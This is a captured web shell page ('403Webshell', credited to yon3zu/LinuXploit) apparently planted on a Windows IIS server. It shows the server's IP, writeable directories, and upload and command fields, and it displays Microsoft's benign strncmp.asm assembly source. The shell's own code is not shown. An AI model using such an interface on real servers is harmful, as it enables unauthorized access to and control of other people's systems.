403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Program Files (x86)/Windows Kits/10/Source/10.0.19041.0/ucrt/string/amd64/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Program Files (x86)/Windows Kits/10/Source/10.0.19041.0/ucrt/string/amd64/strncmp.asm
        page    ,132
        title   strncmp - compare first n chars of two strings
;***
;strncmp.asm - compare first n characters of two strings
;
;       Copyright (c) Microsoft Corporation. All rights reserved.
;
;Purpose:
;       defines strncmp() - compare first n characters of two strings
;       for ordinal order.
;
;*******************************************************************************
include ksamd64.inc
        subttl  "strncmp"
;***
;int strncmp(first, last, count) - compare first count chars of strings
;
;Purpose:
;       Compares two strings for ordinal order.  The comparison stops
;       after: (1) a difference between the strings is found, (2) the end
;       of the strings is reached, or (3) count characters have been
;       compared.
;
;       Algorithm:
;       int
;       strncmp (first, last, count)
;             char *first, *last;
;             unsigned count;
;             {
;             if (!count)
;                     return(0);
;             while (--count && *first && *first == *last)
;                     {
;                     first++;
;                     last++;
;                     }
;             return(*first - *last);
;             }
;
;Entry:
;       char *first, *last - strings to compare
;       unsigned count - maximum number of characters to compare
;
;Exit:
;       returns <0 if first < last
;       returns 0 if first == last
;       returns >0 if first > last
;
;Uses:
;
;Exceptions:
;
;*******************************************************************************

LEAF_ENTRY_ARG3 strncmp, _TEXT, str1:ptr byte, str2:ptr byte, count:dword

    OPTION PROLOGUE:NONE, EPILOGUE:NONE

; rcx = first
; rdx = last
; r8 = count

    sub       rdx, rcx

    test      r8, r8
    jz        return_equal

    test      ecx, 7
    jz        qword_loop_enter

comp_head_loop_begin:
    movzx     eax, byte ptr[rcx]
    cmp       al, byte ptr[rdx+rcx]
    jne       return_not_equal

    inc       rcx

    dec       r8
    jz        return_equal

    test      al, al
    jz        return_equal

    test      rcx, 7
    jnz       comp_head_loop_begin

qword_loop_enter:
    mov       r11, 08080808080808080h
    mov       r10, 0fefefefefefefeffh

qword_loop_begin:
    lea       eax, [rdx+rcx]
    and       eax, 0fffh
    cmp       eax, 0ff8h
    ja        comp_head_loop_begin

    mov       rax, qword ptr[rcx]
    cmp       rax, qword ptr[rdx+rcx]
    jne       comp_head_loop_begin

    add       rcx, 8

    sub       r8, 8
    jbe       return_equal

    lea       r9, [r10+rax]
    not       rax
    and       rax, r9
    test      rax, r11  ; 8080808080808080h

    jz        qword_loop_begin

return_equal:
    xor       eax, eax
    ret

;    align     16

return_not_equal:
    sbb       rax, rax  ; AX=-1, CY=1 AX=0, CY=0
    or        rax, 1
    ret

LEAF_END strncmp, _TEXT
        end

Youez - 2016 - github.com/yon3zu
LinuXploit